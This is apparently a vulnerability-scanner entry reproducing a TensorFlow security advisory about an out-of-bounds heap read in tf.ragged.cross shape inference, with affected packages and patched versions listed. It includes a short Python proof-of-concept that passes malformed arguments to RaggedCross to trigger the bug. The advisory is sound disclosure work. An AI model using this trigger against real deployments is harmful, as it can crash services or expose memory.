QID 980177
QID 980177: Python (pip) Security Update for tensorflow-gpu (GHSA-fr77-rrx3-cp7g)
Security update has been released for tensorflow-gpu,tensorflow,tensorflow-cpu to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
The [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) can trigger a read outside of bounds of heap allocated array:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.RaggedCross(ragged_values=[],
ragged_row_splits=[],
sparse_indices=[[5]],
sparse_values=[],
sparse_shape=[5],
dense_inputs=[['a']],
input_order='RD',
hashed_output=False,
num_buckets=5,
hash_key=2,
out_values_type=tf.string,
out_row_splits_type=tf.int64)
return y
test()
```
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
- GHSA-fr77-rrx3-cp7g -
github.com/advisories/GHSA-fr77-rrx3-cp7g
CVEs related to QID 980177
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-fr77-rrx3-cp7g | tensorflow |
|
|
| GHSA-fr77-rrx3-cp7g | tensorflow-cpu |
|
|
| GHSA-fr77-rrx3-cp7g | tensorflow-gpu |
|